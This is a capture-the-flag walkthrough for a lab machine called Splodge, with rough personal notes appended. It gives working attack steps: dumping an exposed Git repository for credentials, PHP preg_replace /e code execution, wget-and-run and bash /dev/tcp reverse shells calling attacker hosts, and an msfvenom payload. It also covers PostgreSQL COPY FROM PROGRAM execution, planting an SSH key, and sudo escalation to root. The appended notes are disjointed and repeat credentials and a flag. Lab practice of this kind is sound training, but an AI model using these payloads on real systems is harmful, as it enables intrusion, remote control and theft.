Exploitation Guide for Splodge

Exploitation Guide for Splodge
Summary
We will gain a foothold on this machine by leveraging Git repository files which contain valid credentials. We will use these to manipulate a web application's PHP regex functionality. We'll leverage insecure ownership of the PostgreSQL database process to escalate our privileges and then abuse a sudo misconfiguration.
Enumeration
Nmap
We'll start off with an nmap
scan.
kali@kali:~$ sudo nmap -p- 192.168.120.109
Starting Nmap 7.80 ( <https://nmap.org> ) at 2020-10-14 02:20 EDT
Nmap scan report for 192.168.120.109
Host is up (0.00052s latency).
Not shown: 65530 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1337/tcp open waste
5432/tcp open postgresql
8080/tcp open http-proxy
MAC Address: 00:0C:29:C1:95:EC (VMware)
Nmap done: 1 IP address (1 host up) scanned in 105.19 seconds
Reconstructing a Git Repository
Running dirb
against the website on port 80 reveals some Git repository files.
kali@kali:~$ dirb <http://192.168.120.109>
...
GENERATED WORDS: 4612
---- Scanning URL: <http://192.168.120.109/> ----
+ <http://192.168.120.109/.git/HEAD> (CODE:200|SIZE:23
...
The .git folder contains all the version control information for a Git project. This includes the history of all the project's files as well as the information required to recreate every Git-committed project file. Using various utilities, we can reconstruct the project locally. Note that this may take a while.
kali@kali:~$ git clone <https://github.com/internetwache/GitTools>
Cloning into 'GitTools'...
remote: Enumerating objects: 209, done.
remote: Total 209 (delta 0), reused 0 (delta 0), pack-reused 209
Receiving objects: 100% (209/209), 45.93 KiB | 188.00 KiB/s, done.
Resolving deltas: 100% (79/79), done.
kali@kali:~$ cd GitTools/Dumper
kali@kali:~/GitTools/Dumper$ bash gitdumper.sh <http://192.168.120.109/.git/> splodge
###########
# GitDumper is part of <https://github.com/internetwache/GitTools>
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
[*] Destination folder does not exist
[+] Creating splodge/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
...
kali@kali:~/GitTools/Dumper$ cd splodge
kali@kali:~/GitTools/Dumper/splodge$ git checkout -- .
Browsing our reconstructed repository, we find a potential admin password in database/seeds/DatabaseSeeder.php and a username in app/Http/Controllers/AdminController.php.
DatabaseSeeder.php
...
DB::table('settings')->insert([
'title' => 'Splodge',
'filter' => '//',
'replacement' => '',
'password' => 'SplodgeSplodgeSplodge'
]);
...
AdminController.php
...
public function postLogin(Request $request)
{
$settings = DB::table('settings')->first();
$username = $request->input('username');
$password = $request->input('password');
if ($username === 'admin' && $password === $settings->password) {
Cookie::queue(Cookie::make('SPLODGESESSION', '1', 60));
return redirect('admin');
}
return view('login');
}
...
We can use these credentials to login to the admin panel of the site on port 8080.
Exploitation
PHP Regex Replacement
Browsing the admin settings reveals two fields related to a profanity filter which appears to use a Regex.

Further digging suggests that this value is used when creating comments in app/Http/Controllers/PostController.php, where the value is used as input to preg_replace
:
public function comment(Request $request, Post $post)
{
error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED);
$author = $request->input('commentAuthor');
$message = $request->input('commentMessage');
$settings = DB::table('settings')->first();
$message = preg_replace($settings->filter, $settings->replacement, $message);
DB::table('comments')->insert(['post_id' => $post->id, 'author' => $author, 'message' => $message]);
$comments = DB::table('comments')->where('post_id', '=', $post->id)->get();
return view('post', ['post' => $post, 'comments' => $comments]);
}
We can exploit this with the e
modifier which evaluates the replacement string as PHP code as documented here. To do this, we will set the filter value to /x/e
and the replacement value to the following:
system("wget <http://KALI-IP/shell> -O /tmp/shell && chmod 777 /tmp/shell && /tmp/shell");
To exploit this, we'll first generate the reverse shell payload that will be downloaded.
kali@kali:~$ msfvenom -p linux/x86/shell_reverse_tcp -f elf -o shell lhost=KALI-IP lport=8080
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 68 bytes
Final size of elf file: 152 bytes
Saved as: shell
We'll host the payload over HTTP.
kali@kali:~$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (<http://0.0.0.0:80/>) ...
Next, we'll start a Netcat handler to catch our reverse shell.
kali@kali:~$ nc -lvp 8080
listening on [any] 8080 ...
And finally, we'll trigger our payload by posting a comment containing a letter x
, which will trigger the evaluation of our replacement string. Our payload will be executed and we will catch a reverse shell.
kali@kali:~$ nc -lvp 8080
listening on [any] 8080 ...
192.168.120.109: inverse host lookup failed: Unknown host
connect to [KALI-IP] from (UNKNOWN) [192.168.120.109] 54232
id
uid=997(nginx) gid=995(nginx) groups=995(nginx)
Escalation
Enumeration of Running Processes
Looking through the currently running processes, we see that the PostgreSQL database is running as thesplodge
rather than as the postgres user.
ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
...
thesplo+ 1280 0.0 1.7 397396 17468 ? Ss 21:46 0:00 /usr/pgsql-12/bin/postmaster -D /home/thesplodge/.pgdata
thesplo+ 1282 0.0 0.2 249656 2052 ? Ss 21:46 0:00 postgres: logger
thesplo+ 1284 0.0 0.3 397512 3804 ? Ss 21:46 0:00 postgres: checkpointer
thesplo+ 1285 0.0 0.3 397528 3356 ? Ss 21:46 0:00 postgres: background writer
thesplo+ 1286 0.0 0.6 397396 6252 ? Ss 21:46 0:00 postgres: walwriter
thesplo+ 1287 0.0 0.3 398080 3304 ? Ss 21:46 0:00 postgres: autovacuum launcher
thesplo+ 1288 0.0 0.2 251908 2280 ? Ss 21:46 0:00 postgres: stats collector
thesplo+ 1289 0.0 0.2 397952 2820 ? Ss 21:46 0:00 postgres: logical replication launcher
...
PostgreSQL Remote Code Execution
The configuration files for the blog running on port 8080 reveal the credentials for the PostgreSQL database:
cat ../.env
APP_NAME=Splodge
APP_ENV=local
APP_KEY=base64:F9jFCNy0vJ1GhEsbf+PjmTSSHk8u741C5XNTN1Rguow=
APP_DEBUG=false
APP_LOG_LEVEL=info
APP_URL=http://splodge.offsec
DB_CONNECTION=pgsql
DB_HOST=127.0.0.1
DB_PORT=5432
DB_DATABASE=splodge
DB_USERNAME=postgres
DB_PASSWORD=PolicyWielderCandle120
BROADCAST_DRIVER=log
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=sync
Combining this with the Metasploit exploit/multi/postgres/postgres_copy_from_program_cmd_exec module allows us to achieve remote code execution as thesplodge
.
msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > show options
Module options (exploit/multi/postgres/postgres_copy_from_program_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE splodge yes The database to authenticate against
DUMP_TABLE_OUTPUT false no select payload command output from table (For Debugging)
PASSWORD PolicyWielderCandle120 no The password for the specified username. Leave blank for a random password.
RHOSTS 192.168.120.109 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5432 yes The target port (TCP)
TABLENAME PL46DDoshzg1 yes A table name that does not exist (To avoid deletion)
USERNAME postgres yes The username to authenticate as
Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST KALI-IP yes The listen address (an interface may be specified)
LPORT 8080 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run
[*] Started reverse TCP handler on KALI-IP:8080
[*] 192.168.120.109:5432 - 192.168.120.109:5432 - PostgreSQL 12.4 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 4.8.5 20150623 (Red Hat 4.8.5-39), 64-bit
[*] 192.168.120.109:5432 - Exploiting...
[+] 192.168.120.109:5432 - 192.168.120.109:5432 - PL46DDoshzg1 dropped successfully
[+] 192.168.120.109:5432 - 192.168.120.109:5432 - PL46DDoshzg1 created successfully
[+] 192.168.120.109:5432 - 192.168.120.109:5432 - PL46DDoshzg1 copied successfully(valid syntax/command)
[+] 192.168.120.109:5432 - 192.168.120.109:5432 - PL46DDoshzg1 dropped successfully(Cleaned)
[*] 192.168.120.109:5432 - Exploit Succeeded
[*] Command shell session 1 opened (KALI-IP:8080 -> 192.168.120.109:54234) at 2020-10-16 22:11:42 -0400
id
uid=1000(thesplodge) gid=1000(thesplodge) groups=1000(thesplodge)
Sudo
Finally, we'll upgrade our reverse shell to a full TTY which reveals that this user can run commands as sudo.
python -c 'import pty; pty.spawn("/bin/bash")'
[thesplodge@splodge .pgdata]$ sudo -l
sudo -l
Matching Defaults entries for thesplodge on splodge:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\\:/bin\\:/usr/sbin\\:/usr/bin
User thesplodge may run the following commands on splodge:
(ALL) NOPASSWD: /bin/bash
Since we can run bash without providing a password we can easily escalate to root.
[thesplodge@splodge .pgdata]$ sudo bash
sudo bash
[root@splodge .pgdata]# id
id
uid=0(root) gid=0(root) groups=0(root)
PS

Now for further exploitation, we need to replace i modifier with e modifier which will cause PHP to execute the result of preg_replace() operation as PHP code.
- Set filter
- Profanity Filter Regex: /test/e
- Profanity Replacement: system('id');

• Comment: “test” to see the output of the command “id”

// Set a filter for reverse shell
● Profanity Replacement: system('bash -i >& /dev/tcp/192.168.49.188/80 0>&1');
// Finally we get a rev shell on port 80 by posting a comment “test”
Found home dir of user thesplodge
Local.txt: 6bf76bf3e82051a3d006fc5604234e75

// Finally we get a rev shell on port 80 by posting a comment “test”


DB_CONNECTION=pgsql
DB_DATABASE=splodge
DB_PASSWORD=PolicyWielderCandle120
DB_USERNAME=postgres
$ **psql -h localhost -d splodge -U postgres -W**
/usr/local/bin:/usr/bin
we cannot “su thesplodge” using PolicyWielderCandle120 or SplodgeSplodgeSplodge
Found psql in /bin/psql
// However, we can connect to Postgres DB from our Kali machine

Password: **PolicyWielderCandle120**
// List all databases

splodge=# **\\c splodge**
psql (12.2 (Debian 12.2-4), server 12.4)
splodge=# **\\dt *.*
Password for user postgres:
psql (12.2 (Debian 12.2-4), server 12.4)
You are now connected to database "splodge" as user "postgres".
// List all databases
splodge=# **\\dt *.*****


Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest
(Similar to Nibbles) REMEMBER THIS EXPLOIT FOR POSTGRESQL
$ **psql -h 192.168.187.108 -d splodge -U postgres -W
Password: **PolicyWielderCandle120**
splodge=# **CREATE TABLE cmd_exec(cmd_output text);**
CREATE TABLE
splodge=# **COPY cmd_exec FROM PROGRAM 'id';**
COPY 1
splodge=# **SELECT * FROM cmd_exec;**
cmd_output
- ------------------------------------------------------------------
uid=1000(thesplodge) gid=1000(thesplodge) groups=1000(thesplodge)
(1 row)**

// Idea is to get shell of user thesplodge
- Try running rev shell commands FAILED

- Try SSH
// Generate SSH key paris
$ **ssh-keygen**
// Create /home/thesplodge/.ssh and copy id_rsa.pub to authorized_keys
splodge=# **COPY cmd_exec FROM PROGRAM 'mkdir /home/thesplodge/.ssh';
COPY 0
splodge=# **SELECT * FROM cmd_exec;**
cmd_output
- ------------------------------------------------------------------
uid=1000(thesplodge) gid=1000(thesplodge) groups=1000(thesplodge)
(1 row)
splodge=# **COPY cmd_exec FROM PROGRAM 'echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1Eq3pg+ZU3trd5ULy1AdeeyPgjLowc0JzE7J4qW7Io5+wFnFKXBgsCObIOwFO5RIl2lrTNzcXtU5R1REw+ElGMCCCAR0KQIKtOUJ4iKPPWWENsU2WzgNB7qCW5/UfvzzT2o+hVNWSTdrHj+dfsjnUYzfVPGXGHfQtnMI9Hdx2AYbnnxJfOjHOLYSbw78bUzTHzOMjhAakmeSkmFmp+KxmfQ6aOTFdPuPByUDK5wdR+Ctol73b7FTOAkSntC2r82tjybdRaZM9LIR3Fsct5FUk2XfYyUkbibUuchD4QfcAZAW74IH+1QMBnYTCs5aY4n/pUo+nrHH0VURtPIRX0Q6SiEFoabxFthPMomcuiB5t8q+mZU2Q6wk3AamKfMODEFnh7lWHadvd9BG/xmuaLWXqnulgLovkZKXWTxRjCV64XPVl5eJvtZen5gsi28LaPkGoDmQCadLoJtMwG70DKJgCK6YCoRkkJ5aeddc7Oh6oeZezbeYL3TT1/zXI0/+Fpvk= kali@kali > /home/thesplodge/.ssh/authorized_keys';**
COPY 0
splodge=# **SELECT * FROM cmd_exec;**
cmd_output
- ------------------------------------------------------------------
uid=1000(thesplodge) gid=1000(thesplodge) groups=1000(thesplodge)
(1 row)**
// Now we can SSH to thesplodge’s shell :)
$ **chmod 600 id_rsa**
$ ssh -i id_rsa [email protected]

(ALL) NOPASSWD: /bin/bash

$ sudo bash
Discussion